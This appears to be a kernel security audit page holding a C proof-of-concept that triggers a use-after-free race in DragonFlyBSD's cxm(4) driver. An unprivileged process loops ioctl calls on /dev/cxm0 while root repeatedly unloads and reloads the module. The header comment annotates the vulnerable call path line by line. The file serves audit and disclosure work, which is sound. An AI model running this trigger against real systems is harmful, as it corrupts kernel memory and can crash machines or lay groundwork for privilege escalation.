⬢ DragonFlyBSD Kernel Audit
DF-4753 / cxm_uaf_race.c
← back to finding ↓ download raw
/* DF-4753 - cxm(4) detach-vs-ioctl use-after-free race trigger.
 *
 * Victim side (unprivileged): hammer BT848_SAUDIO(AUDIO_TUNER) on
 * /dev/cxm0 (mode 0444 -> world-openable with O_RDONLY; cxm.c:1885).
 * Each ioctl takes the (unserialized) path
 *   cxm_ioctl (cxm.c:2306)
 *     -> cxm_pause_encoder
 *     -> cxm_msp_select_source        (cxm_msp34xxx.c:412)
 *     -> cxm_encoder_wait_for_lock    (cxm.c:~1510)
 *     -> cxm_msp_autodetect_standard  (cxm_msp34xxx.c:500)
 *     -> cxm_msp_wait_for_lock        (cxm_msp34xxx.c:588)
 * which tsleep()s 10 x hz/20 (~500 ms) while dereferencing sc
 * (sc->iicbus at cxm_msp34xxx.c:295/298/302/338..., sc->dev at :624).
 *
 * Killer side (root, separate shell): `while :; do kldunload cxm;
 * kldload cxm; done` -> cxm_detach (cxm.c:1944) tears down the I2C
 * bus and the module unload frees the softc. An ioctl sleeping in
 * cxm_msp_wait_for_lock wakes into freed memory.
 *
 * REQUIRES a Conexant iTVC15/iTVC16 (CX23880-2388x) PCI card.
 * Without the card the driver never attaches and /dev/cxm0 does not
 * exist (verified on the audit guest: kldload cxm succeeds, no
 * /dev/cxm* node appears).
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

/* sys/dev/video/bktr/ioctl_bt848.h */
#define AUDIO_TUNER 0x00
#define BT848_SAUDIO _IOW('x', 46, int)

int
main(int argc, char **argv)
{
	const char *dev = (argc > 1) ? argv[1] : "/dev/cxm0";
	int fd, arg, i;

	for (i = 0; i < 200000; i++) {
		fd = open(dev, O_RDONLY);	/* 0444 cdev: unprivileged */
		if (fd < 0) {
			if (errno == ENOENT || errno == ENXIO) {
				fprintf(stderr,
				    "no %s (cxm hardware absent) - trigger "
				    "hardware-gated\n", dev);
				return 3;
			}
			perror("open");
			return 1;
		}
		arg = AUDIO_TUNER;
		/* sleeps ~0.5 s inside cxm_msp_wait_for_lock per call */
		if (ioctl(fd, BT848_SAUDIO, &arg) < 0 && errno != EINVAL)
			perror("ioctl (expected after detach: ENXIO/dead dev)");
		close(fd);
	}
	return 0;
}